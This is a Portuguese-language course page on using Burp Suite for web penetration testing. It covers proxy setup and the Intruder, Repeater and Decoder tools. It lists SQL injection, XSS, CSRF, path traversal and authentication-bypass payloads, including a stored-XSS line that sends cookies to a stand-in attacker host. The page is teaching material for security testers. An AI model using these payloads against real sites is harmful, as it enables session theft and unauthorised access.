kb.erickguedes.com
Kali Linux: Ferramentas de Segurança Ofensiva

Burp Suite e Testes Web

Aula 4 de 7

Burp Suite — Visão Geral

Ferramentas Principais

FerramentaFunçãoAba
ProxyInterceptar e modificar tráfego HTTP/HTTPSProxy → Intercept
TargetGerenciar escopo, sitemap, issue definitionsTarget
RepeaterReenviar requisições modificadas manualmenteRepeater
IntruderAtaques automatizados (brute force, fuzzing)Intruder
ScannerVarredura automatizada de vulnerabilidadesScanner
DecoderCodificar/decodificar dados (Base64, URL, Hex)Decoder
ComparerComparar respostas HTTPComparer
ExtensionsExtensões BApp (App Store do Burp)Extender

Intercepting Proxy

Navegador (127.0.0.1:8080) ←→ Burp Proxy ←→ Servidor Web

Certificado SSL

Para interceptar HTTPS, instale o certificado CA do Burp no navegador:

1. Navegue para http://burp
2. Baixe "cacert.der"
3. Instale como Autoridade Certificadora Confiável
   - Windows: Certificados → Autoridades de Certificação Raiz Confiáveis
   - Firefox: Configurações → Certificados → Importar

Configuração de Escopo

Target → Scope:
  - Include: *.exemplo.com (apenas alvo)
  - Exclude: *.google-analytics.com, *.facebook.net (ignorar terceiros)
  - Use advanced scope control para URLs específicas

Match and Replace

# Modificação automática de headers/body
# Proxy → Options → Match and Replace

# Exemplos:
# Match: User-Agent: Mozilla/5.0*
# Replace: User-Agent: CustomScript/1.0

# Match: ^
# Replace: X-Forwarded-For: 127.0.0.1

Testes Web Práticos

SQL Injection

# Testes manuais no Repeater
# Campo: username
# Payload: admin' OR 1=1 --
# Payload: " OR 1=1 --
# Payload: admin' UNION SELECT null,null,null --

# SQLi baseado em erro
# Payload: ' AND 1=CONVERT(int, @@version) --

# SQLi blind (boolean)
# Payload: ' AND 1=1 --  (deve retornar verdadeiro)
# Payload: ' AND 1=2 --  (deve retornar falso)

# SQLi blind (time-based)
# Payload: ' WAITFOR DELAY '0:0:5' --

XSS (Cross-Site Scripting)

# Reflected XSS
# Input: <script>alert('XSS')</script>
# Payload: <img src=x onerror=alert(1)>
# Payload: <svg onload=alert(document.cookie)>

# Stored XSS (comentários, perfil, posts)
# Payload: <script>document.location='http://atacante.com/steal?c='+document.cookie</script>

# Payloads para bypass de filters
# <ScRiPt>alert(1)</ScRiPt>
# <<script>script>alert(1)</script>
# "><script>alert(1)</script>

CSRF (Cross-Site Request Forgery)

# Testar se requisições sensíveis têm token CSRF
# Verificar header Referer/Origin
# Testar com Origin diferente

# Payload (POC):
# <form action="https://exemplo.com/transfer" method="POST">
#   <input name="amount" value="1000">
#   <input name="to" value="atacante">
# </form>
# <script>document.forms[0].submit()</script>

Auth Bypass

# Directory traversal
# ../../etc/passwd
# ..%252f..%252f..%252fetc/passwd  (duplo encode)

# Bypass de autenticação
# admin' --
# admin'#
# ' OR '1'='1' --
# admin:admin

# Manipulação de parâmetros
# GET /api/users/me → 401
# GET /api/users/1  → 200 (IDOR)
# X-Original-URL: /admin
# X-Forwarded-For: 127.0.0.1

Burp Intruder

# Posições de ataque
# § = marcador de posição

# Sniper: uma wordlist, testa cada posição
# Battering ram: mesma wordlist em todas posições
# Pitchfork: múltiplas wordlists (pareadas)
# Cluster bomb: múltiplas wordlists (todas combinações)

# Payload types: Simple list, Numbers, Brute force, Case mod
# Grep - Match: marcar respostas com "error", "exception", "welcome"

Burp Macros e Session Handling

Macros permitem automatizar sequências de requisições:
  - Login automático antes de cada teste
  - Renovação de token CSRF
  - Manter sessão ativa durante scan

Configuração:
  Project Options → Sessions → Session Handling Rules
  → Add → Run a Macro → Record macro

Lab: Teste de Aplicação Web

# 1. Configurar proxy Burp (127.0.0.1:8080)
#    Navegador → Configurações → Proxy → Manual: localhost:8080

# 2. Instalar certificado CA do Burp
#    http://burp → Download cacert.der → Importar

# 3. Navegar no alvo e explorar o Target → Sitemap

# 4. Enviar requisição para Intruder
#    Botão direito → Send to Intruder
#    Configurar payload positions e payload list

# 5. Testar SQLi manual no Repeater
#    Botão direito → Send to Repeater
#    Modificar parâmetros → Send

# 6. Usar Decoder para ofuscar payloads
#    Payload → Base64 → URL encode

Burp Suite é a ferramenta padrão para testes de segurança web. Domine Proxy, Repeater e Intruder. Sempre trabalhe com escopo definido para evitar tráfego indesejado.